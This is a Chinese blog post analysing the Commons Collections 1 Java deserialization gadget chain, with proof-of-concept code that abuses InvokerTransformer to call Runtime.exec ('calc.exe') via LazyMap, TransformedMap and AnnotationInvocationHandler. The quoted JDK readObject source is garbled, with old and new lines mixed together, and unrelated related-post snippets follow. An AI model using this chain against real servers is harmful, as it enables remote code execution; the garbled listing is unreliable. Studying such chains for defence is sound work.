Java安全之Commons Collections1分析(二)

Java安全之CommonsCollections1分析(二)0x00前言续上篇文,继续调试cc链。在上篇文章调试的cc链其实并不是一个完整的链。只是使用了几个方法的的互相调用弹出一个计算器。

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Commons Collections1分析(二)

0x00 前言

续上篇文,继续调试cc链。在上篇文章调试的cc链其实并不是一个完整的链。只是使用了几个方法的的互相调用弹出一个计算器。

Java安全之Commons Collections1分析(一)

下面来贴出他的完整的一个调用链

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

0x01 LazyMap

在分析前先来看看LazyMap这个类,这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法,而LazyMap是在get方法去调用方法。

Java安全之Commons Collections1分析(二)

当调用get(key)的key不存在时,会调用transformerChain的transform()方法。

修改一下poc,使用LazyMap的get方法来触发命令执行试试。

 public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        
        Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
        tmpmap.get("1");

    }

这样也是可以成功的去执行命令。

0x02 AnnotationInvocationHandler

网上查找资料发现AnnotationInvocationHandler该类是用来处理注解的。

AnnotationInvocationHandler类的构造函数有两个参数,第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数。

Java安全之Commons Collections1分析(二)

在JDK里面,所有的注解类型都继承自这个普通的接口(Annotation)。

查看它的readObject⽅法

 private void readObject(java.io.ObjectInputStream s)
         throws java.io.IOException, ClassNotFoundException {
       s.defaultReadObject();
       ObjectInputStream.GetField fields = s.readFields();
       @SuppressWarnings("unchecked")
        Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
       @SuppressWarnings("unchecked")
       Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
 
         // Check to make sure that types have not evolved incompatibly
 
         AnnotationType annotationType = null;
         try {
           annotationType = AnnotationType.getInstance(type);
           annotationType = AnnotationType.getInstance(t);
         } catch(IllegalArgumentException e) {
             // Class is no longer an annotation type; time to punch out
             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
         }
 
         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // consistent with runtime Map type
       Map<String, Object> mv = new LinkedHashMap<>();
 
         // If there are annotation members without values, that
         // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
       // for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
             String name = memberValue.getKey();
            Object value = null;
             Class<?> memberType = memberTypes.get(name);
             if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                value = memberValue.getValue();
                 if (!(memberType.isInstance(value) ||
                       value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                    value = new AnnotationTypeMismatchExceptionProxy(
                             value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                                annotationType.members().get(name));
                 }
             }
            mv.put(name, value);
        }

        UnsafeAccessor.setType(this, t);
        UnsafeAccessor.setMemberValues(this, mv);
    }

使用反射调用AnnotationInvocationHandler并传入参数,这里传入一个Retention.class,和outerMap

Retention是一个注解类。outerMap是我们TransformedMap修饰过的类。

这么这时候在 AnnotationInvocationHandlerreadObject方法里面 memberValues就是我们使用反射传入的 TransformedMap的对象。

 Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,
                    Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)
                    construct.newInstance(Retention.class, outerMap);

这⾥遍历了它的所有元素,并依次设置值。在调⽤setValue设置值的时候就会触发TransformedMap⾥的
Transform,从而进入导致命令的执行。

0x03 POC分析

public static void main(String[] args) {
        
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {
                            String.class,
                            Class[].class }, new Object[] { "getRuntime",
                            new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {
                            Object.class,
                            Object[].class }, new Object[] { null, new
                            Object[0] }),
                    new InvokerTransformer("exec", new Class[] { String.class
                    },
                            new String[] {
                                    "calc.exe" }),
            };
            Transformer transformerChain = new
                    ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "xxxx");
            Map outerMap = TransformedMap.decorate(innerMap, null,
                    transformerChain);
            Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,
                    Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)
                    construct.newInstance(Retention.class, outerMap);
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(handler);
            oos.close();
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new
                    ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        
    }
}

这里可以看到 在Transformer[]数组里面存储的是一个Runtime.class,而不是Runtime对象。这是因为Runtime并没有实现java.io.Serializable 接⼝的 。是不可被序列化的。而Runtime.class是属于java.lang.Classjava.lang.Class 是实现了java.io.Serializable 接⼝的。可以被序列化。

把这行代码序列化后,在后面的反序列化中并没有去执行到命令。因为物理机的JDK版本较高,在高版本中的AnnotationInvocationHandlerreadObject是被改动过的 。 从而并没有到达命令执行的目的,但是在低版本中的JDK是可以执行的。

0x04 参考文章

P牛的JAVA安全漫谈系列
https://xz.aliyun.com/t/7031#toc-2
https://www.cnblogs.com/litlife/p/12571787.html
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

0X05 结尾

在分析该cc链时,总是从懵逼到顿悟到再懵逼,反反复复。在中途脑子也是一团糟。其实到这里CC链的调试也并没有结束,本文只是一点基础知识,为下篇文做铺垫。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119909.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • from django.db import models_独立团模块源码

    from django.db import models_独立团模块源码前言APIView中的dispatch是整个请求生命过程的核心方法,包含了请求模块,权限验证,异常模块和响应模块,我们先来介绍请求模块请求模块:request对象源码入口APIView类中di

    2022年7月31日
    5
  • mysql explain ref const_MySQL EXPLAIN 详解「建议收藏」

    mysql explain ref const_MySQL EXPLAIN 详解「建议收藏」一.介绍EXPLAIN命令用于SQL语句的查询执行计划。这条命令的输出结果能够让我们了解MySQL优化器是如何执行SQL语句的。这条命令并没有提供任何调整建议,但它能够提供重要的信息帮助你做出调优决策。先解析一条sql语句,你可以看出现什么内容EXPLAINSELECT*FROMperson,deptWHEREperson.dept_id=dept.didandper…

    2022年10月18日
    3
  • 网站部署ssl证书_阿里云ssl证书部署教程

    网站部署ssl证书_阿里云ssl证书部署教程阿里云续费SSL证书下载证书文件在正式服务器上部署IIS部署阿里云部署步骤:步骤一:下载文件1、登录SSL证书控制台。2、在左侧导航栏,单击SSL证书。3、定位到已签发的SSL证书,单击操作列下的下载。4、在证书下载面板,单击IIS服务器类型后的下载5、解压缩已下载的SSL证书(IIS)压缩包。此时,证书已保存在本地计算机中,导入到服务器端即可步骤二:导入到服务器中1、在服务器按Win+R键,打开运行。2、输入mmc,单击确定3、为本地计算机添加证书管理单元。3.1、在

    2022年8月30日
    1
  • AjaxPro2完整入门教程[通俗易懂]

    AjaxPro2完整入门教程[通俗易懂]网上关于AjaxPro的完整教程太少,所以这里我利用下自己的空余时间写一篇较为完整的AjaxPro教程,希望大家能够提出更多宝贵的建议

    2022年7月4日
    26
  • pycharm显示没有interpreter_pycharm interpreter为空

    pycharm显示没有interpreter_pycharm interpreter为空在pycharm中创建新project的时候总会遇到interpreterinvalid,需要你去重新配置interpreter打开file-settings之后,选择project-projectinterpreter点击图中的图标,选择showall,可以看到所有的interpreter。可以看到有些interpreter位于c盘,有些位于d盘,有些是invalid。这是因为pycharm有其自己的虚拟机和interpreter,安装在自己的目录下,而c盘的interpr.

    2022年8月27日
    7
  • MySQL 将字符串转换为数字类型并进行排序

    MySQL 将字符串转换为数字类型并进行排序起因:需要对接第三方统计系统,并且第三方系统给的数据那真的是一团乱,害,都是泪呀,头发又感觉凉飕飕的;数据有毒,所有的小数都是用varchar(20)保存的,现在有要对数据进行排序并展示。示例数据:area_gdp表idareagdp1北京12002上海61003广州60004深圳980select*fromarea_gdpORDERBYgdpASC#查询结果如下1 北京 12003 广州 60002 上海

    2022年5月18日
    45

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号